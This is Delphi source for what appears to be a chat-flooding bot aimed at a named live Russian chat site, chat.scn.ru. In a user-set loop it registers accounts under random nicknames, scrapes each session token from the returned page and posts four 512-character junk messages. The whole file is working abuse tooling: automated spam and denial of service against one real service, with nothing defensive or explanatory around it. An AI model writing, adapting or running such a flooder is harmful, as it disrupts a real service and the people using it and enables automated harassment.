function RandomNick(PLen: Integer): string;
var
str: string;
begin
Randomize;
str := '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM';
Result := '';
repeat
Result := Result + str[Random(Length(str)) + 1];
until (Length(Result) = PLen)
end;

var
LL : integer;SE:Integer;
Host:String;Referer:String;
RoomScn:String;

procedure TForm1.Button1Click(Sender: TObject);
var
request :   TStringList; FLooD,FLooD2,FLooD3,FLooD4 : TStringList;
AData :   TStringStream;
code : String;S : String;
STR : String;RandV : integer;
F:TStringList;
session : String;
begin
SE:=SpinEdit1.Value;
LL := 0;
While LL<SE do
Begin
LL := LL+1;

Edit1.Enabled := False;
ComboBox1.Enabled := False;
CheckBox1.Enabled := False;
SpinEdit1.Enabled := False;
Button1.Enabled := False;
Button2.Enabled := True;

Memo1.Lines.Clear;
Memo1.Lines.Add('Отправлено сообщений: '+IntToStr(LL)+'_ИЗ_'+IntToStr(SE));

Host:='chat.scn.ru';
Referer:='http://chat.scn.ru';

idhttp1.Port := 80;
idhttp1.Host := Host;
idhttp1.ReadTimeout := 10000;
idhttp1.Request.Connection := 'Keep-Alive';
idhttp1.Request.AcceptLanguage := 'ru';
//idhttp1.Request.ContentLength := 160;
idhttp1.Request.Host := Host;
idhttp1.Request.Referer := Referer;
idhttp1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT.5.1)';
idhttp1.Request.ContentType := 'application/x-www-form-urlencoded';

request := TStringList.Create;
AData := TStringStream.Create('');

try
idhttp1.Post('http://chat.scn.ru/index.php',request,Adata);
except on E:Exception do
end;
request.Add('user_name='+Edit1.Text+RandomNick(10));
request.Add('sex=1');
request.Add('password=');
request.Add('room='+RoomScn);
request.Add('chat_type=1');
request.Add('action=1');
request.Add('design=real');
try
idhttp1.Post('http://chat.scn.ru/?',request,Adata);
except on E:Exception do
end;
request.Free;
try
Code := AData.DataString;
AData.Free;
F:=TStringList.Create;
F.Text:=Code;
S:=F.Strings[359];
Str := Copy(S,63,32);
session := STR;
F.Free;
Except
end;
Randomize;
RandV := Random(28);
FLooD := TStringList.Create;
FLooD.Add('session='+session);
FLooD.Add('mesg='+RandomNick(512));
FLooD.Add('user_color='+intToStr(RandV));
Randomize;
RandV := Random(28);
FLooD2 := TStringList.Create;
FLooD2.Add('session='+session);
FLooD2.Add('mesg='+RandomNick(512));
FLooD2.Add('user_color='+intToStr(RandV));
Randomize;
RandV := Random(28);
FLooD3 := TStringList.Create;
FLooD3.Add('session='+session);
FLooD3.Add('mesg='+RandomNick(512));
FLooD3.Add('user_color='+intToStr(RandV));
Randomize;
RandV := Random(28);
FLooD4 := TStringList.Create;
FLooD4.Add('session='+session);
FLooD4.Add('mesg='+RandomNick(506)+'>RoBoT');
FLooD4.Add('user_color='+intToStr(RandV));

try   idhttp1.Post('http://chat.scn.ru/sender.php',FLooD);  except end;
try   idhttp1.Post('http://chat.scn.ru/sender.php',FLooD2); except end;
try   idhttp1.Post('http://chat.scn.ru/sender.php',FLooD3); except end;
try   idhttp1.Post('http://chat.scn.ru/sender.php',FLooD4); except end;
FLooD.Free;
FLooD2.Free;
FLooD3.Free;
FLooD4.Free;
try
idhttp1.Get('http://chat.scn.ru/index.php?session='+session+'&go=logout/');
except
end;

Try
idhttp1.Disconnect;
idhttp1.DisconnectSocket;
except
end;
if LL=SE then
begin

Edit1.Enabled := True;
ComboBox1.Enabled := True;
CheckBox1.Enabled := True;
SpinEdit1.Enabled := True;
Button1.Enabled := True;
Button2.Enabled := False;

end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
LL:=SE;
Try
idhttp1.Disconnect;
idhttp1.DisconnectSocket;
except
end;
Sleep(2000);
Edit1.Enabled := True;
ComboBox1.Enabled := True;
CheckBox1.Enabled := True;
SpinEdit1.Enabled := True;
Button1.Enabled := True;
Button2.Enabled := False;
end;